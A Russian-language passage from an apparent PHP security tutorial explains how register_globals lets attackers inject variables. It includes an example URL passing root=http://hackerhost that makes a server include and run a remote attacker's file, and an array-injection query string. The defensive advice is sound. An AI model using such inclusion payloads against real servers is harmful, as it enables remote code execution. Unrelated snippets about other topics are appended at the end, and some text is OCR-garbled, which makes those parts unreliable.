3.1. Первый пример уязвимости
Для иллюстрации, как можно получить уязвимый сценарий, рассмотрим пример:
<?php
//*** здесь устанавливается переменная $root
//*** ...
// запускаем другой скрипт, который ищем в каталоге $root
include $root.»/library.php»;
?>
Если в коде, помеченном выше звездочками, переменная $root по ошибке окажется не установленной (это может случиться по разным причинам), злоумышленник сможет запустить на сервере любой код, открыв следующий адрес в браузере:
http://example.com/scnpt.pbp?root=http://hackerhost
Здесь example.com — это машина, на которой располагается скрипт, a hackerhost — компьютер злоумышленника, на котором также установлен Web-сервер.
Рассмотрим подробнее, что же происходит. В скрипте значение переменной $root подставляется в строку и выполняется команда:
include “http://hackerhost/library.php”;
В большинстве случаев это заставляет РНР загрузить файл library.php с удаленной машины и передать ему управление. Иными словами, записав в файл library.php на своей машине любой код, хакер может запустить его на сервере example.com.
3.2. Второй пример уязвимости
Предыдущий пример может показаться надуманным. Таким он и является: данная проблема может обнаружиться лишь в сценариях, насчитывающих несколько разных файлов, включающих друг друга. Там бывает весьма непросто уследить за глобальными переменными. Например, в известном форуме phpBB уязвимость описанного типа обнаруживалась и исправлялась несколько раз.
Более простой пример связан с массивами. Многие люди пишут в своих программах:
$artefacts[’rabbit’] = “white”;
$artefacts[’cat’] = “black”;
Они не задумываются над тем, что перед этим надо бы очистить массив $artefacts: считают, что он и так пуст в начале программы. Корректный же код должен выглядеть так:
$artefacts = array();
$artefacts[’rabbit’] = “white”;
$artefacts[’cat’] = “black”;
К чему ведет пропуск $artefacts = array(); в начале скрипта? К тому, что, передав специально подобранную командную строку, хакер может добавить в массив $artefacts произвольные данные. Например, он запустит сценарий так:
http://example.com/script.php?artefacts[reboot]=yes
При этом в программе с пропущенным обнулением массива $artefacts в него будут помещены не два, а три элемента (включая reboot=>yes). Скрипт никак на это не рассчитывает, что, в свою очередь, порождает потенциальные проблемы с безопасностью.
Если глобальные переменные не создаются, то описанные уязвимости исчезают. Во всяком случае, так решили разработчики РНР.
Всегда необходимо проверять код, чтобы гарантировать, что любые переменные, отправляемые из web-браузера, соответствующим образом будут проверены. Задавайте себе следующие вопросы:
● Будет ли данный скрипт воздействовать только на предполагаемые файлы?
● Могут ли быть обработаны необычные или нежелательные данные?
● Может ли данный скрипт быть использован несоответствующим образом?
● Может ли он быть использован в сочетании с другими скриптами негативным образом?
● Будет ли выполнен адекватный логинг для каждой транзакции?
Задав себе эти вопросы при написании скрипта, а не потом, вы предотвратите возможную переделку для повышения защищённости. Вы не гарантируете полную безопасность вашей системы, но можете значительно повысить её.
Возможно, вы захотите также предусмотреть отключение register_globals, magic_quotes или других установок, которые могут создать у вас неуверенность в проверке, источнике или значении данной переменной. Работа с PHP в режиме error_reporting(E_ALL) также может помочь, предупреждая вас о переменных, используемых до проверки или инициализации (что предотвратит операции с необычными данными).
3.3. Порядок трансляции переменных
Теперь рассмотрим, в каком порядке записываются данные в массив $_REQUEST, a также в глобальные переменные, если включен режим register_giobals. Этот порядок, вообще говоря, важен.
Например, пусть у нас есть параметр A=10, поступивший из query_string, параметр A=20 из POST-запроса (как мы помним, даже при POST-запросе может быть передана query_string), и cookie A=30. По умолчанию трансляция выполняется в порядке GET-POST-COOKIE (GPC), причем каждая следующая переменная перекрывает предыдущее свое значение (если оно существовало). Итак, в переменную $A сценария и в $_REQUEST [ 'A' ] будет записано 30, поскольку cookie перекрывает post и get.
В режиме register_giobals в глобальные переменные попадают также значения переменных окружения. Записываются они в соответствии со схемой ENVIRON-MENT-GET-POST-COOKIE (EGPC). Иными словами, переменные окружения в режиме register_giobals перекрываются даже GET-данными, и злоумышленник может «подделать» любую из них, передав соответствующую переменную query_string при запуске сценария.
Поэтому, если не хотите проблем, даже в режиме register_globals обращайтесь к переменным окружения только через:
$_SERVER['переменная'] или getenv('переменная')
... Java, JavaScript и встроенные в сервер средства LiveConnect. Более мощными реляционными возможностями доступа к базе данных и более эффективным выполнением виртуальной Java-машины будут расширены услуги разработки приложений, обеспечиваемых в Enterprise Server 2.0,. Сервис управления. В дополнение к использованию встроенной машины каталога LDAP Enterprise Server 2.0 будет управляем через общие ...
... в помещении представлена на рисунке 4.1 Рисунок 4.1 - Схема размещения светильников в аудитории № 209. Заключение В работе проведено исследование использования программ дистанционного обучения для подготовки учебно-методической документации, описаны их положительные стороны и выявлены основные проблемы. В результате проведенного исследования разработано web-приложение "R@Learning ...
текста, насыщенного изображениями, звуком, анимацией, видеоклипами и гипертекстовыми ссылками на другие документы. Можно работать на Web без знания языка HTML, поскольку тексты HTML могут создаваться разными специальными редакторами и конвертерами. Но писать непосредственно на HTML нетрудно. Возможно, это даже легче, чем изучать HTML-редактор или конвертер, которые часто ограничены в своих ...
... высокого быстродействия. Их реализация существенно снижает скорость сервера. Эти возможности не являются критичными при создании web-приложений, что в сочетании с высоким быстродействием и малой ценой позволило серверу приобрести большую популярность. 3.2. Примеры использования PHP совместно с MySQL 3.2.1. Работа с формами В этом примере показано как в PHP легко обрабатывать данные с ...
0 комментариев